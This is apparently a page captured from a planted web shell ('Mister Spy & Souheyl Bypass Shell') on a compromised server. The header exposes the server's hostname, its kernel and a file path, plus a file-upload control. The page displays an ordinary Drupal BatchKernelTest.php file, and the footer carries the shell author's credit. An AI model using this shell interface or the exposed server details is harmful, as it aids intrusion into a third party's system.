Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/tests/Drupal/KernelTests/Core/Batch/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/tests/Drupal/KernelTests/Core/Batch/BatchKernelTest.php

<?php

declare(strict_types=1);

namespace Drupal\KernelTests\Core\Batch;

use Drupal\KernelTests\KernelTestBase;

/**
 * Tests batch functionality.
 *
 * @group Batch
 */
class BatchKernelTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    require_once $this->root . '/core/includes/batch.inc';
  }

  /**
   * Tests _batch_needs_update().
   */
  public function testNeedsUpdate(): void {
    // Before ever being called, the return value should be FALSE.
    $this->assertEquals(FALSE, _batch_needs_update());

    // Set the value to TRUE.
    $this->assertEquals(TRUE, _batch_needs_update(TRUE));
    // Check that without a parameter TRUE is returned.
    $this->assertEquals(TRUE, _batch_needs_update());

    // Set the value to FALSE.
    $this->assertEquals(FALSE, _batch_needs_update(FALSE));
    $this->assertEquals(FALSE, _batch_needs_update());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net